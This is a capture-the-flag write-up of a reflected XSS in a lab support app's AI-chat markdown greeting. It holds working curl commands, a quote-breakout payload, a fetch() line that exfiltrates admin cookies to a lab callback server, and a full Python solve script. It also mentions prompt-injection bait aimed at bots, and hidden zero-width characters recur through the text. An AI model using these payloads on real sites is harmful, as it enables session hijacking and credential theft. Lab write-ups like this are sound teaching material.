← Back to Writeups
CUSTOMMediumWeb

Lab 410 — HelpWise — Reflected XSS via Markdown Greeting in AI Chat

XESXOR9/10/20264 min read
#web#custom#medium#admin_bot_cookie_exfil#javascript_uri_link_injection#markdown_image_attribute_break#marked_renderer_quote_injectio#oob_exfil_via_url_path#linux

Lab 410 — HelpWise — Reflected XSS via Markdown Greeting in AI Chat

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-25 | Status: Solved Techniques: admin_bot_cookie_exfil, javascript_uri_link_injection, markdown_image_attribute_breakout, marked_renderer_quote_injection, oob_exfil_via_url_path

Summary

Task: HelpWise support app renders the AI-chat greeting parameter as markdown via the marked library with no sanitization and no CSP. Solution: a literal double-quote inside markdown image URL syntax () breaks out of the generated src attribute and injects an auto-firing onerror handler; reporting the crafted /search URL to the admin bot leaks its non-HttpOnly admin_flag cookie to the lab Interaction Server.

Lab 410 — HelpWise — Reflected XSS via Markdown Greeting in AI Chat

Description

HelpWise — Customer support platform. An AI Chat Assistant greets users by name. Find a way to steal the support admin's session.

English summary: HelpWise is a customer-support web app (nginx → Express, markdown rendered with the marked library, no CSP). The /search page has an "AI Chat Assistant" panel whose greeting is generated from the greeting request parameter and rendered as markdown into <div class="greeting-content"> with no sanitization. An admin bot visits reported URLs (POST /api/report {url, reason}) in its logged-in browser, which holds a non-HttpOnly cookie admin_flag containing the flag. Goal: trigger XSS in the bot's context and exfiltrate the cookie. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • Target: https://99ac360c-65b9-4f72-94c7-cb261333cf97.labs.hackadvisor.io/
  • Creds: user@test.com / password123

Analysis

Recon

  • Front: nginx 1.25.5 → backend X-Powered-By: Express.
  • Session cookie connect.sid is NOT HttpOnly (so JS can read it). The flag-bearing admin_flag cookie is also not HttpOnly.
  • /search?greeting=... reflects the greeting through markdown into <div class="greeting-content">. Works via both GET and POST.
  • No Content-Security-Policy header on /search — inline event handlers and javascript: URIs run freely.
  • /js/report.js reveals POST /api/report {url, reason}; url must start with /. An admin bot then visits the reported path in its authenticated browser.
  • A decoy honeypot flag appears in every page's HTML source alongside prompt-injection text: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This is a trap and was ignored. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug (key insight)

Raw HTML in the greeting is escaped by the renderer:

Input:  <img src=x onerror=alert(1)>
Output: &lt;img src=x onerror=alert(1)&gt;

But markdown image syntax leaks an unescaped double-quote into the generated src attribute. marked builds <img src="<URL>" ...> and does not escape a " placed inside the markdown image URL:

Input:  ![a](x"onerror="JS)
Output: <img src="x"onerror="JS" alt="a" class="chat-img">

The literal " inside the markdown image URL closes the src attribute early and injects an arbitrary onerror= handler. Because the src (x) is a broken image, onerror fires automatically — no user click required. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Markdown links additionally preserve javascript: URIs as a click vector:

Input:  [c](javascript:alert(1))
Output: <a href="javascript:alert(1)">c</a>

The auto-firing image onerror is the cleaner primitive and is what we use.

Exfiltration constraint

The admin bot has no external network access. Exfiltration goes through the lab's internal Interaction Server http://interact/<UUID>/, whose request log the user can read. A log viewer truncated query strings, so the stolen cookie is placed in the URL PATH instead of a query parameter. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

1. Login

bash
BASE="https://99ac360c-65b9-4f72-94c7-cb261333cf97.labs.hackadvisor.io"

curl -s -c cookies.txt -X POST "$BASE/api/login" \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@test.com","password":"password123"}'

2. Confirm raw HTML is escaped but markdown image breaks out

bash
# Raw HTML -> escaped (no XSS)
curl -s -b cookies.txt "$BASE/search?greeting=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" \
  | grep -o 'greeting-content.*'

# Markdown image quote breakout -> injected onerror attribute
#   greeting = ![a](x"onerror="alert(1))
curl -s -b cookies.txt \
  "$BASE/search?greeting=%21%5Ba%5D%28x%22onerror%3D%22alert%281%29%29" \
  | grep -o '<img src="x"onerror.*'
# => <img src="x"onerror="alert(1)" alt="a" class="chat-img">

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Build the exfil payload

Greeting markdown (cookie placed in URL path to survive query-string truncation):

![a](x"onerror="fetch('http://interact/<UUID>/c/'+encodeURIComponent(document.cookie)))

4. Report the crafted URL to the admin bot

bash
UUID="99ac360c-65b9-4f72-94c7-cb261333cf97"

# URL-encode the greeting payload, then submit as a /search path to /api/report
curl -s -b cookies.txt -X POST "$BASE/api/report" \
  -H 'Content-Type: application/json' \
  -d "{\"url\":\"/search?greeting=$(python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))' "![a](x\"onerror=\"fetch('"'http://interact/$UUID/c/'"'+encodeURIComponent(document.cookie)))")\",\"reason\":\"check this\"}"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

5. Read the Interaction Server callback

The bot loads /search, the broken image fires onerror, and fetch() hits the Interaction Server with the cookie URL-encoded in the path:

GET /c/connect.sid%3Ds%253A...%3B%20admin_flag%3DFLAG%7BREDACTED%7D

URL-decoded:

connect.sid=s:...; admin_flag=FLAG{REDACTED}

The flag lives in the non-HttpOnly admin_flag cookie, read directly via document.cookie.

Clean Python solve script

python
#!/usr/bin/env python3
"""Lab 410 HelpWise - reflected XSS via markdown greeting -> admin cookie theft."""
import urllib.parse
import requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE = "https://99ac360c-65b9-4f72-94c7-cb261333cf97.labs.hackadvisor.io"
UUID = "99ac360c-65b9-4f72-94c7-cb261333cf97"
INTERACT = f"http://interact/{UUID}/c/"   # cookie goes in the PATH (query strings get truncated)

s = requests.Session()

# 1) Authenticate as the low-priv user
s.post(f"{BASE}/api/login",
       json={"email": "user@test.com", "password": "password123"},
       timeout=15).raise_for_status()

# 2) JS that exfils document.cookie to the internal Interaction Server
js = f"fetch('{INTERACT}'+encodeURIComponent(document.cookie))"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 3) Markdown image whose URL contains a literal " to break out of src="..."
#    marked renders: <img src="x"onerror="<JS>" alt="a" class="chat-img">
#    broken image -> onerror fires automatically, no click needed.
greeting = f'![a](x"onerror="{js})'

# 4) Build the /search path and report it to the admin bot
path = "/search?greeting=" + urllib.parse.quote(greeting)
r = s.post(f"{BASE}/api/report",
           json={"url": path, "reason": "please review"},
           timeout=15)
print("report:", r.status_code, r.text)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print("\n[*] Watch the Interaction Server log for a GET /c/<url-encoded cookie>")
print("[*] Decode it to recover:  admin_flag=FLAG{...}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍